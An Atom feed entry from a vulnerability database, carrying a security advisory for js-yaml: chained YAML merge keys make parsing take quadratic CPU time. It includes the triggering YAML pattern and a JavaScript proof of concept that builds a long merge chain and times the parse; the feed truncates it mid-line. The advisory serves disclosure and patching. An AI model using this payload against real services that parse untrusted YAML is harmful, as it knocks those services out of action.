<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-04T10:46:18.570110+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/ghsa-52cp-r559-cp3m</id>
    <title>GHSA-52cp-r559-cp3m — js-yaml: YAML merge-key chains can force quadratic CPU consumption</title>
    <updated>2026-10-04T10:46:18.571434+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: js-yaml</p>
<p>### Impact</p>
<p>js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:</p>
<p>```yaml
a0: &amp;a0 { k0: 0 }
a1: &amp;a1 { &lt;&lt;: *a0, k1: 1 }
a2: &amp;a2 { &lt;&lt;: *a1, k2: 2 }
a3: &amp;a3 { &lt;&lt;: *a2, k3: 3 }
...
b: *aN
```</p>
<p>For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.</p>
<p>### PoC</p>
<p>From N = 4000 delay become &gt; 1s (doc size &lt; 100K)</p>
<p>```js
import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'</p>
<p>const n = Number(process.argv[2] || 4000)</p>
<p>function makeMergeChain (count) {
  const lines = ['a0: &amp;a0 { k0: 0 }']</p>
<p>for (let i = 1; i &lt; count; i++) {
    lines.push(`a${i}: &amp;a${i} { &lt;&lt;: *a${i - 1}, k${i}: ${i} }`)
  }</p>
<p>lines.push(`b: *a${count - 1}`)
  return `${lines.join('\n')}\n`
}</p>
<p>const source = makeMergeChain(n)</p>
<p>console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)</p>
<p>const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started</p>
<p>console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${O…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/ghsa-52cp-r559-cp3m"/>
  </entry>
</feed>
